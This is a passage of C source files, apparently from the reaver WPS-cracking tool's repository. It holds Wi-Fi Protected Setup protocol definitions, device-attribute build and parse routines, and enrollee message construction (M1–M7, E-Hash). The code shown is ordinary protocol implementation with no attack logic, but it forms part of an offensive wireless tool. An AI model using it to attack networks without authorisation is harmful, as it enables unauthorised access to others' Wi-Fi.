WPS_OOB_DEVICE_PASSWORD_ATTR_LEN 54 #define WPS_OOB_DEVICE_PASSWORD_LEN 32 #define WPS_OOB_PUBKEY_HASH_LEN 20 /* Attribute Types */ enum wps_attribute { ATTR_AP_CHANNEL = 0x1001, ATTR_ASSOC_STATE = 0x1002, ATTR_AUTH_TYPE = 0x1003, ATTR_AUTH_TYPE_FLAGS = 0x1004, ATTR_AUTHENTICATOR = 0x1005, ATTR_CONFIG_METHODS = 0x1008, ATTR_CONFIG_ERROR = 0x1009, ATTR_CONFIRM_URL4 = 0x100a, ATTR_CONFIRM_URL6 = 0x100b, ATTR_CONN_TYPE = 0x100c, ATTR_CONN_TYPE_FLAGS = 0x100d, ATTR_CRED = 0x100e, ATTR_ENCR_TYPE = 0x100f, ATTR_ENCR_TYPE_FLAGS = 0x1010, ATTR_DEV_NAME = 0x1011, ATTR_DEV_PASSWORD_ID = 0x1012, ATTR_E_HASH1 = 0x1014, ATTR_E_HASH2 = 0x1015, ATTR_E_SNONCE1 = 0x1016, ATTR_E_SNONCE2 = 0x1017, ATTR_ENCR_SETTINGS = 0x1018, ATTR_ENROLLEE_NONCE = 0x101a, ATTR_FEATURE_ID = 0x101b, ATTR_IDENTITY = 0x101c, ATTR_IDENTITY_PROOF = 0x101d, ATTR_KEY_WRAP_AUTH = 0x101e, ATTR_KEY_ID = 0x101f, ATTR_MAC_ADDR = 0x1020, ATTR_MANUFACTURER = 0x1021, ATTR_MSG_TYPE = 0x1022, ATTR_MODEL_NAME = 0x1023, ATTR_MODEL_NUMBER = 0x1024, ATTR_NETWORK_INDEX = 0x1026, ATTR_NETWORK_KEY = 0x1027, ATTR_NETWORK_KEY_INDEX = 0x1028, ATTR_NEW_DEVICE_NAME = 0x1029, ATTR_NEW_PASSWORD = 0x102a, ATTR_OOB_DEVICE_PASSWORD = 0x102c, ATTR_OS_VERSION = 0x102d, ATTR_POWER_LEVEL = 0x102f, ATTR_PSK_CURRENT = 0x1030, ATTR_PSK_MAX = 0x1031, ATTR_PUBLIC_KEY = 0x1032, ATTR_RADIO_ENABLE = 0x1033, ATTR_REBOOT = 0x1034, ATTR_REGISTRAR_CURRENT = 0x1035, ATTR_REGISTRAR_ESTABLISHED = 0x1036, ATTR_REGISTRAR_LIST = 0x1037, ATTR_REGISTRAR_MAX = 0x1038, ATTR_REGISTRAR_NONCE = 0x1039, ATTR_REQUEST_TYPE = 0x103a, ATTR_RESPONSE_TYPE = 0x103b, ATTR_RF_BANDS = 0x103c, ATTR_R_HASH1 = 0x103d, ATTR_R_HASH2 = 0x103e, ATTR_R_SNONCE1 = 0x103f, ATTR_R_SNONCE2 = 0x1040, ATTR_SELECTED_REGISTRAR = 0x1041, ATTR_SERIAL_NUMBER = 0x1042, ATTR_WPS_STATE = 0x1044, ATTR_SSID = 0x1045, ATTR_TOTAL_NETWORKS = 0x1046, ATTR_UUID_E = 0x1047, ATTR_UUID_R = 0x1048, ATTR_VENDOR_EXT = 0x1049, ATTR_VERSION = 0x104a, ATTR_X509_CERT_REQ = 0x104b, ATTR_X509_CERT = 0x104c, ATTR_EAP_IDENTITY = 0x104d, ATTR_MSG_COUNTER = 0x104e, ATTR_PUBKEY_HASH = 0x104f, ATTR_REKEY_KEY = 0x1050, ATTR_KEY_LIFETIME = 0x1051, ATTR_PERMITTED_CFG_METHODS = 0x1052, ATTR_SELECTED_REGISTRAR_CONFIG_METHODS = 0x1053, ATTR_PRIMARY_DEV_TYPE = 0x1054, ATTR_SECONDARY_DEV_TYPE_LIST = 0x1055, ATTR_PORTABLE_DEV = 0x1056, ATTR_AP_SETUP_LOCKED = 0x1057, ATTR_APPLICATION_EXT = 0x1058, ATTR_EAP_TYPE = 0x1059, ATTR_IV = 0x1060, ATTR_KEY_PROVIDED_AUTO = 0x1061, ATTR_802_1X_ENABLED = 0x1062, ATTR_APPSESSIONKEY = 0x1063, ATTR_WEPTRANSMITKEY = 0x1064 }; /* Device Password ID */ enum wps_dev_password_id { DEV_PW_DEFAULT = 0x0000, DEV_PW_USER_SPECIFIED = 0x0001, DEV_PW_MACHINE_SPECIFIED = 0x0002, DEV_PW_REKEY = 0x0003, DEV_PW_PUSHBUTTON = 0x0004, DEV_PW_REGISTRAR_SPECIFIED = 0x0005 }; /* Message Type */ enum wps_msg_type { WPS_Beacon = 0x01, WPS_ProbeRequest = 0x02, WPS_ProbeResponse = 0x03, WPS_M1 = 0x04, WPS_M2 = 0x05, WPS_M2D = 0x06, WPS_M3 = 0x07, WPS_M4 = 0x08, WPS_M5 = 0x09, WPS_M6 = 0x0a, WPS_M7 = 0x0b, WPS_M8 = 0x0c, WPS_WSC_ACK = 0x0d, WPS_WSC_NACK = 0x0e, WPS_WSC_DONE = 0x0f }; /* Authentication Type Flags */ #define WPS_AUTH_OPEN 0x0001 #define WPS_AUTH_WPAPSK 0x0002 #define WPS_AUTH_SHARED 0x0004 #define WPS_AUTH_WPA 0x0008 #define WPS_AUTH_WPA2 0x0010 #define WPS_AUTH_WPA2PSK 0x0020 #define WPS_AUTH_TYPES (WPS_AUTH_OPEN | WPS_AUTH_WPAPSK | WPS_AUTH_SHARED | \ WPS_AUTH_WPA | WPS_AUTH_WPA2 | WPS_AUTH_WPA2PSK) /* Encryption Type Flags */ #define WPS_ENCR_NONE 0x0001 #define WPS_ENCR_WEP 0x0002 #define WPS_ENCR_TKIP 0x0004 #define WPS_ENCR_AES 0x0008 #define WPS_ENCR_TYPES (WPS_ENCR_NONE | WPS_ENCR_WEP | WPS_ENCR_TKIP | \ WPS_ENCR_AES) /* Configuration Error */ enum wps_config_error { WPS_CFG_NO_ERROR = 0, WPS_CFG_OOB_IFACE_READ_ERROR = 1, WPS_CFG_DECRYPTION_CRC_FAILURE = 2, WPS_CFG_24_CHAN_NOT_SUPPORTED = 3, WPS_CFG_50_CHAN_NOT_SUPPORTED = 4, WPS_CFG_SIGNAL_TOO_WEAK = 5, WPS_CFG_NETWORK_AUTH_FAILURE = 6, WPS_CFG_NETWORK_ASSOC_FAILURE = 7, WPS_CFG_NO_DHCP_RESPONSE = 8, WPS_CFG_FAILED_DHCP_CONFIG = 9, WPS_CFG_IP_ADDR_CONFLICT = 10, WPS_CFG_NO_CONN_TO_REGISTRAR = 11, WPS_CFG_MULTIPLE_PBC_DETECTED = 12, WPS_CFG_ROGUE_SUSPECTED = 13, WPS_CFG_DEVICE_BUSY = 14, WPS_CFG_SETUP_LOCKED = 15, WPS_CFG_MSG_TIMEOUT = 16, WPS_CFG_REG_SESS_TIMEOUT = 17, WPS_CFG_DEV_PASSWORD_AUTH_FAILURE = 18 }; /* RF Bands */ #define WPS_RF_24GHZ 0x01 #define WPS_RF_50GHZ 0x02 /* Config Methods */ #define WPS_CONFIG_USBA 0x0001 #define WPS_CONFIG_ETHERNET 0x0002 #define WPS_CONFIG_LABEL 0x0004 #define WPS_CONFIG_DISPLAY 0x0008 #define WPS_CONFIG_EXT_NFC_TOKEN 0x0010 #define WPS_CONFIG_INT_NFC_TOKEN 0x0020 #define WPS_CONFIG_NFC_INTERFACE 0x0040 #define WPS_CONFIG_PUSHBUTTON 0x0080 #define WPS_CONFIG_KEYPAD 0x0100 /* Connection Type Flags */ #define WPS_CONN_ESS 0x01 #define WPS_CONN_IBSS 0x02 /* Wi-Fi Protected Setup State */ enum wps_state { WPS_STATE_NOT_CONFIGURED = 1, WPS_STATE_CONFIGURED = 2 }; /* Association State */ enum wps_assoc_state { WPS_ASSOC_NOT_ASSOC = 0, WPS_ASSOC_CONN_SUCCESS = 1, WPS_ASSOC_CFG_FAILURE = 2, WPS_ASSOC_FAILURE = 3, WPS_ASSOC_IP_FAILURE = 4 }; #define WPS_DEV_OUI_WFA 0x0050f204 enum wps_dev_categ { WPS_DEV_COMPUTER = 1, WPS_DEV_INPUT = 2, WPS_DEV_PRINTER = 3, WPS_DEV_CAMERA = 4, WPS_DEV_STORAGE = 5, WPS_DEV_NETWORK_INFRA = 6, WPS_DEV_DISPLAY = 7, WPS_DEV_MULTIMEDIA = 8, WPS_DEV_GAMING = 9, WPS_DEV_PHONE = 10 }; enum wps_dev_subcateg { WPS_DEV_COMPUTER_PC = 1, WPS_DEV_COMPUTER_SERVER = 2, WPS_DEV_COMPUTER_MEDIA_CENTER = 3, WPS_DEV_PRINTER_PRINTER = 1, WPS_DEV_PRINTER_SCANNER = 2, WPS_DEV_CAMERA_DIGITAL_STILL_CAMERA = 1, WPS_DEV_STORAGE_NAS = 1, WPS_DEV_NETWORK_INFRA_AP = 1, WPS_DEV_NETWORK_INFRA_ROUTER = 2, WPS_DEV_NETWORK_INFRA_SWITCH = 3, WPS_DEV_DISPLAY_TV = 1, WPS_DEV_DISPLAY_PICTURE_FRAME = 2, WPS_DEV_DISPLAY_PROJECTOR = 3, WPS_DEV_MULTIMEDIA_DAR = 1, WPS_DEV_MULTIMEDIA_PVR = 2, WPS_DEV_MULTIMEDIA_MCX = 3, WPS_DEV_GAMING_XBOX = 1, WPS_DEV_GAMING_XBOX360 = 2, WPS_DEV_GAMING_PLAYSTATION = 3, WPS_DEV_PHONE_WINDOWS_MOBILE = 1 }; /* Request Type */ enum wps_request_type { WPS_REQ_ENROLLEE_INFO = 0, WPS_REQ_ENROLLEE = 1, WPS_REQ_REGISTRAR = 2, WPS_REQ_WLAN_MANAGER_REGISTRAR = 3 }; /* Response Type */ enum wps_response_type { WPS_RESP_ENROLLEE_INFO = 0, WPS_RESP_ENROLLEE = 1, WPS_RESP_REGISTRAR = 2, WPS_RESP_AP = 3 }; /* Walk Time for push button configuration (in seconds) */ #define WPS_PBC_WALK_TIME 120 #endif /* WPS_DEFS_H */ reaver-wps-fork-t6x-1.6.6/src/wps/wps_dev_attr.c000066400000000000000000000230311363372615500215540ustar00rootroot00000000000000/* * Wi-Fi Protected Setup - device attributes * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "misc.h" #include "wps_i.h" #include "wps_dev_attr.h" static int wps_build_manufacturer(struct wps_device_data *dev, struct wpabuf *msg) { size_t len; wpa_printf(MSG_DEBUG, "WPS: * Manufacturer"); wpabuf_put_be16(msg, ATTR_MANUFACTURER); len = dev->manufacturer ? os_strlen(dev->manufacturer) : 0; if (len == 0) { /* * Some deployed WPS implementations fail to parse zero-length * attributes. As a workaround, send a null character if the * device attribute string is empty. */ wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, '\0'); } else { wpabuf_put_be16(msg, len); wpabuf_put_data(msg, dev->manufacturer, len); } return 0; } static int wps_build_model_name(struct wps_device_data *dev, struct wpabuf *msg) { size_t len; wpa_printf(MSG_DEBUG, "WPS: * Model Name"); wpabuf_put_be16(msg, ATTR_MODEL_NAME); len = dev->model_name ? os_strlen(dev->model_name) : 0; if (len == 0) { /* * Some deployed WPS implementations fail to parse zero-length * attributes. As a workaround, send a null character if the * device attribute string is empty. */ wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, '\0'); } else { wpabuf_put_be16(msg, len); wpabuf_put_data(msg, dev->model_name, len); } return 0; } static int wps_build_model_number(struct wps_device_data *dev, struct wpabuf *msg) { size_t len; wpa_printf(MSG_DEBUG, "WPS: * Model Number"); wpabuf_put_be16(msg, ATTR_MODEL_NUMBER); len = dev->model_number ? os_strlen(dev->model_number) : 0; if (len == 0) { /* * Some deployed WPS implementations fail to parse zero-length * attributes. As a workaround, send a null character if the * device attribute string is empty. */ wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, '\0'); } else { wpabuf_put_be16(msg, len); wpabuf_put_data(msg, dev->model_number, len); } return 0; } static int wps_build_serial_number(struct wps_device_data *dev, struct wpabuf *msg) { size_t len; wpa_printf(MSG_DEBUG, "WPS: * Serial Number"); wpabuf_put_be16(msg, ATTR_SERIAL_NUMBER); len = dev->serial_number ? os_strlen(dev->serial_number) : 0; if (len == 0) { /* * Some deployed WPS implementations fail to parse zero-length * attributes. As a workaround, send a null character if the * device attribute string is empty. */ wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, '\0'); } else { wpabuf_put_be16(msg, len); wpabuf_put_data(msg, dev->serial_number, len); } return 0; } int wps_build_primary_dev_type(struct wps_device_data *dev, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Primary Device Type"); wpabuf_put_be16(msg, ATTR_PRIMARY_DEV_TYPE); wpabuf_put_be16(msg, WPS_DEV_TYPE_LEN); wpabuf_put_data(msg, dev->pri_dev_type, WPS_DEV_TYPE_LEN); return 0; } static int wps_build_dev_name(struct wps_device_data *dev, struct wpabuf *msg) { size_t len; wpa_printf(MSG_DEBUG, "WPS: * Device Name"); wpabuf_put_be16(msg, ATTR_DEV_NAME); len = dev->device_name ? os_strlen(dev->device_name) : 0; if (len == 0) { /* * Some deployed WPS implementations fail to parse zero-length * attributes. As a workaround, send a null character if the * device attribute string is empty. */ wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, '\0'); } else { wpabuf_put_be16(msg, len); wpabuf_put_data(msg, dev->device_name, len); } return 0; } int wps_build_device_attrs(struct wps_device_data *dev, struct wpabuf *msg) { if (wps_build_manufacturer(dev, msg) || wps_build_model_name(dev, msg) || wps_build_model_number(dev, msg) || wps_build_serial_number(dev, msg) || wps_build_primary_dev_type(dev, msg) || wps_build_dev_name(dev, msg)) return -1; return 0; } int wps_build_os_version(struct wps_device_data *dev, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * OS Version"); wpabuf_put_be16(msg, ATTR_OS_VERSION); wpabuf_put_be16(msg, 4); wpabuf_put_be32(msg, 0x80000000 | dev->os_version); return 0; } int wps_build_rf_bands(struct wps_device_data *dev, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * RF Bands (%x)", dev->rf_bands); wpabuf_put_be16(msg, ATTR_RF_BANDS); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, dev->rf_bands); return 0; } static int wps_process_manufacturer(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Manufacturer received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Manufacturer", str, str_len); os_free(dev->manufacturer); dev->manufacturer = os_malloc(str_len + 1); if (dev->manufacturer == NULL) return -1; os_memcpy(dev->manufacturer, str, str_len); dev->manufacturer[str_len] = '\0'; return 0; } static int wps_process_model_name(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Model Name received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Model Name", str, str_len); os_free(dev->model_name); dev->model_name = os_malloc(str_len + 1); if (dev->model_name == NULL) return -1; os_memcpy(dev->model_name, str, str_len); dev->model_name[str_len] = '\0'; return 0; } static int wps_process_model_number(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Model Number received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Model Number", str, str_len); os_free(dev->model_number); dev->model_number = os_malloc(str_len + 1); if (dev->model_number == NULL) return -1; os_memcpy(dev->model_number, str, str_len); dev->model_number[str_len] = '\0'; return 0; } static int wps_process_serial_number(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Serial Number received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Serial Number", str, str_len); os_free(dev->serial_number); dev->serial_number = os_malloc(str_len + 1); if (dev->serial_number == NULL) return -1; os_memcpy(dev->serial_number, str, str_len); dev->serial_number[str_len] = '\0'; return 0; } static int wps_process_dev_name(struct wps_device_data *dev, const u8 *str, size_t str_len) { if (str == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Device Name received"); return -1; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Device Name", str, str_len); os_free(dev->device_name); dev->device_name = os_malloc(str_len + 1); if (dev->device_name == NULL) return -1; os_memcpy(dev->device_name, str, str_len); dev->device_name[str_len] = '\0'; return 0; } static int wps_process_primary_dev_type(struct wps_device_data *dev, const u8 *dev_type) { #ifndef CONFIG_NO_STDOUT_DEBUG char devtype[WPS_DEV_TYPE_BUFSIZE]; #endif /* CONFIG_NO_STDOUT_DEBUG */ if (dev_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Primary Device Type received"); return -1; } os_memcpy(dev->pri_dev_type, dev_type, WPS_DEV_TYPE_LEN); wpa_printf(MSG_DEBUG, "WPS: Primary Device Type: %s", wps_dev_type_bin2str(dev->pri_dev_type, devtype, sizeof(devtype))); return 0; } int wps_process_device_attrs(struct wps_device_data *dev, struct wps_parse_attr *attr) { if (wps_process_manufacturer(dev, attr->manufacturer, attr->manufacturer_len) || wps_process_model_name(dev, attr->model_name, attr->model_name_len) || wps_process_model_number(dev, attr->model_number, attr->model_number_len) || wps_process_serial_number(dev, attr->serial_number, attr->serial_number_len) || wps_process_primary_dev_type(dev, attr->primary_dev_type) || wps_process_dev_name(dev, attr->dev_name, attr->dev_name_len)) return -1; return 0; } int wps_process_os_version(struct wps_device_data *dev, const u8 *ver) { if (ver == NULL) { wpa_printf(MSG_DEBUG, "WPS: No OS Version received"); return -1; } dev->os_version = WPA_GET_BE32(ver); wpa_printf(MSG_DEBUG, "WPS: OS Version %08x", dev->os_version); return 0; } int wps_process_rf_bands(struct wps_device_data *dev, const u8 *bands) { if (bands == NULL) { wpa_printf(MSG_DEBUG, "WPS: No RF Bands received"); return -1; } dev->rf_bands = *bands; wpa_printf(MSG_DEBUG, "WPS: Enrollee RF Bands 0x%x", dev->rf_bands); return 0; } void wps_device_data_dup(struct wps_device_data *dst, const struct wps_device_data *src) { if (src->device_name) dst->device_name = os_strdup(src->device_name); if (src->manufacturer) dst->manufacturer = os_strdup(src->manufacturer); if (src->model_name) dst->model_name = os_strdup(src->model_name); if (src->model_number) dst->model_number = os_strdup(src->model_number); if (src->serial_number) dst->serial_number = os_strdup(src->serial_number); os_memcpy(dst->pri_dev_type, src->pri_dev_type, WPS_DEV_TYPE_LEN); dst->os_version = src->os_version; dst->rf_bands = src->rf_bands; } void wps_device_data_free(struct wps_device_data *dev) { os_free(dev->device_name); dev->device_name = NULL; os_free(dev->manufacturer); dev->manufacturer = NULL; os_free(dev->model_name); dev->model_name = NULL; os_free(dev->model_number); dev->model_number = NULL; os_free(dev->serial_number); dev->serial_number = NULL; } reaver-wps-fork-t6x-1.6.6/src/wps/wps_dev_attr.h000066400000000000000000000023201363372615500215570ustar00rootroot00000000000000/* * Wi-Fi Protected Setup - device attributes * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPS_DEV_ATTR_H #define WPS_DEV_ATTR_H struct wps_parse_attr; int wps_build_device_attrs(struct wps_device_data *dev, struct wpabuf *msg); int wps_build_os_version(struct wps_device_data *dev, struct wpabuf *msg); int wps_build_rf_bands(struct wps_device_data *dev, struct wpabuf *msg); int wps_build_primary_dev_type(struct wps_device_data *dev, struct wpabuf *msg); int wps_process_device_attrs(struct wps_device_data *dev, struct wps_parse_attr *attr); int wps_process_os_version(struct wps_device_data *dev, const u8 *ver); int wps_process_rf_bands(struct wps_device_data *dev, const u8 *bands); void wps_device_data_dup(struct wps_device_data *dst, const struct wps_device_data *src); void wps_device_data_free(struct wps_device_data *dev); #endif /* WPS_DEV_ATTR_H */ reaver-wps-fork-t6x-1.6.6/src/wps/wps_enrollee.c000066400000000000000000000773201363372615500215630ustar00rootroot00000000000000/* * Wi-Fi Protected Setup - Enrollee * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/crypto.h" #include "crypto/sha256.h" #include "wps_i.h" #include "wps_dev_attr.h" static int wps_build_mac_addr(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * MAC Address"); wpabuf_put_be16(msg, ATTR_MAC_ADDR); wpabuf_put_be16(msg, ETH_ALEN); wpabuf_put_data(msg, wps->mac_addr_e, ETH_ALEN); return 0; } static int wps_build_wps_state(struct wps_data *wps, struct wpabuf *msg) { u8 state; if (wps->wps->ap) state = wps->wps->wps_state; else state = WPS_STATE_NOT_CONFIGURED; wpa_printf(MSG_DEBUG, "WPS: * Wi-Fi Protected Setup State (%d)", state); wpabuf_put_be16(msg, ATTR_WPS_STATE); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, state); return 0; } static int wps_build_e_hash(struct wps_data *wps, struct wpabuf *msg) { u8 *hash; const u8 *addr[4]; size_t len[4]; if (os_get_random(wps->snonce, 2 * WPS_SECRET_NONCE_LEN) < 0) return -1; wpa_hexdump(MSG_DEBUG, "WPS: E-S1", wps->snonce, WPS_SECRET_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: E-S2", wps->snonce + WPS_SECRET_NONCE_LEN, WPS_SECRET_NONCE_LEN); if (wps->dh_pubkey_e == NULL || wps->dh_pubkey_r == NULL) { wpa_printf(MSG_DEBUG, "WPS: DH public keys not available for " "E-Hash derivation"); return -1; } wpa_printf(MSG_DEBUG, "WPS: * E-Hash1"); wpabuf_put_be16(msg, ATTR_E_HASH1); wpabuf_put_be16(msg, SHA256_MAC_LEN); hash = wpabuf_put(msg, SHA256_MAC_LEN); /* E-Hash1 = HMAC_AuthKey(E-S1 || PSK1 || PK_E || PK_R) */ addr[0] = wps->snonce; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk1; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); wpa_hexdump(MSG_DEBUG, "WPS: E-Hash1", hash, SHA256_MAC_LEN); wpa_printf(MSG_DEBUG, "WPS: * E-Hash2"); wpabuf_put_be16(msg, ATTR_E_HASH2); wpabuf_put_be16(msg, SHA256_MAC_LEN); hash = wpabuf_put(msg, SHA256_MAC_LEN); /* E-Hash2 = HMAC_AuthKey(E-S2 || PSK2 || PK_E || PK_R) */ addr[0] = wps->snonce + WPS_SECRET_NONCE_LEN; addr[1] = wps->psk2; hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); wpa_hexdump(MSG_DEBUG, "WPS: E-Hash2", hash, SHA256_MAC_LEN); return 0; } static int wps_build_e_snonce1(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * E-SNonce1"); wpabuf_put_be16(msg, ATTR_E_SNONCE1); wpabuf_put_be16(msg, WPS_SECRET_NONCE_LEN); wpabuf_put_data(msg, wps->snonce, WPS_SECRET_NONCE_LEN); return 0; } static int wps_build_e_snonce2(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * E-SNonce2"); wpabuf_put_be16(msg, ATTR_E_SNONCE2); wpabuf_put_be16(msg, WPS_SECRET_NONCE_LEN); wpabuf_put_data(msg, wps->snonce + WPS_SECRET_NONCE_LEN, WPS_SECRET_NONCE_LEN); return 0; } static struct wpabuf * wps_build_m1(struct wps_data *wps) { struct wpabuf *msg; if (os_get_random(wps->nonce_e, WPS_NONCE_LEN) < 0) return NULL; wpa_hexdump(MSG_DEBUG, "WPS: Enrollee Nonce", wps->nonce_e, WPS_NONCE_LEN); wpa_printf(MSG_DEBUG, "WPS: Building Message M1"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M1) || wps_build_uuid_e(msg, wps->uuid_e) || wps_build_mac_addr(wps, msg) || wps_build_enrollee_nonce(wps, msg) || wps_build_public_key(wps, msg) || wps_build_auth_type_flags(wps, msg) || wps_build_encr_type_flags(wps, msg) || wps_build_conn_type_flags(wps, msg) || wps_build_config_methods(msg, wps->wps->config_methods) || wps_build_wps_state(wps, msg) || wps_build_device_attrs(&wps->wps->dev, msg) || wps_build_rf_bands(&wps->wps->dev, msg) || wps_build_assoc_state(wps, msg) || wps_build_dev_password_id(msg, wps->dev_pw_id) || wps_build_config_error(msg, WPS_CFG_NO_ERROR) || wps_build_os_version(&wps->wps->dev, msg)) { wpabuf_free(msg); return NULL; } wps->state = RECV_M2; return msg; } static struct wpabuf * wps_build_m3(struct wps_data *wps) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "WPS: Building Message M3"); if (wps->dev_password == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Device Password available"); return NULL; } wps_derive_psk(wps, wps->dev_password, wps->dev_password_len); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M3) || wps_build_registrar_nonce(wps, msg) || wps_build_e_hash(wps, msg) || wps_build_authenticator(wps, msg)) { wpabuf_free(msg); return NULL; } wps->state = RECV_M4; return msg; } static struct wpabuf * wps_build_m5(struct wps_data *wps) { struct wpabuf *msg, *plain; wpa_printf(MSG_DEBUG, "WPS: Building Message M5"); plain = wpabuf_alloc(200); if (plain == NULL) return NULL; msg = wpabuf_alloc(1000); if (msg == NULL) { wpabuf_free(plain); return NULL; } if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M5) || wps_build_registrar_nonce(wps, msg) || wps_build_e_snonce1(wps, plain) || wps_build_key_wrap_auth(wps, plain) || wps_build_encr_settings(wps, msg, plain) || wps_build_authenticator(wps, msg)) { wpabuf_free(plain); wpabuf_free(msg); return NULL; } wpabuf_free(plain); wps->state = RECV_M6; return msg; } static int wps_build_cred_ssid(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * SSID"); wpabuf_put_be16(msg, ATTR_SSID); wpabuf_put_be16(msg, wps->wps->ssid_len); wpabuf_put_data(msg, wps->wps->ssid, wps->wps->ssid_len); return 0; } static int wps_build_cred_auth_type(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Authentication Type"); wpabuf_put_be16(msg, ATTR_AUTH_TYPE); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, wps->wps->auth_types); return 0; } static int wps_build_cred_encr_type(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Encryption Type"); wpabuf_put_be16(msg, ATTR_ENCR_TYPE); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, wps->wps->encr_types); return 0; } static int wps_build_cred_network_key(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Network Key"); wpabuf_put_be16(msg, ATTR_NETWORK_KEY); wpabuf_put_be16(msg, wps->wps->network_key_len); wpabuf_put_data(msg, wps->wps->network_key, wps->wps->network_key_len); return 0; } static int wps_build_cred_mac_addr(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * MAC Address (AP BSSID)"); wpabuf_put_be16(msg, ATTR_MAC_ADDR); wpabuf_put_be16(msg, ETH_ALEN); wpabuf_put_data(msg, wps->wps->dev.mac_addr, ETH_ALEN); return 0; } static int wps_build_ap_settings(struct wps_data *wps, struct wpabuf *plain) { if (wps->wps->ap_settings) { wpa_printf(MSG_DEBUG, "WPS: * AP Settings (pre-configured)"); wpabuf_put_data(plain, wps->wps->ap_settings, wps->wps->ap_settings_len); return 0; } return wps_build_cred_ssid(wps, plain) || wps_build_cred_mac_addr(wps, plain) || wps_build_cred_auth_type(wps, plain) || wps_build_cred_encr_type(wps, plain) || wps_build_cred_network_key(wps, plain); } static struct wpabuf * wps_build_m7(struct wps_data *wps) { struct wpabuf *msg, *plain; wpa_printf(MSG_DEBUG, "WPS: Building Message M7"); plain = wpabuf_alloc(500 + wps->wps->ap_settings_len); if (plain == NULL) return NULL; msg = wpabuf_alloc(1000 + wps->wps->ap_settings_len); if (msg == NULL) { wpabuf_free(plain); return NULL; } if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M7) || wps_build_registrar_nonce(wps, msg) || wps_build_e_snonce2(wps, plain) || (wps->wps->ap && wps_build_ap_settings(wps, plain)) || wps_build_key_wrap_auth(wps, plain) || wps_build_encr_settings(wps, msg, plain) || wps_build_authenticator(wps, msg)) { wpabuf_free(plain); wpabuf_free(msg); return NULL; } wpabuf_free(plain); if (wps->wps->ap && wps->wps->registrar) { /* * If the Registrar is only learning our current configuration, * it may not continue protocol run to successful completion. * Store information here to make sure it remains available. */ wps_device_store(wps->wps->registrar, &wps->peer_dev, wps->uuid_r); } wps->state = RECV_M8; return msg; } static struct wpabuf * wps_build_wsc_done(struct wps_data *wps) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "WPS: Building Message WSC_Done"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_WSC_DONE) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg)) { wpabuf_free(msg); return NULL; } if (wps->wps->ap) wps->state = RECV_ACK; else { wps_success_event(wps->wps); wps->state = WPS_FINISHED; } return msg; } static struct wpabuf * wps_build_wsc_ack(struct wps_data *wps) { struct wpabuf *msg; 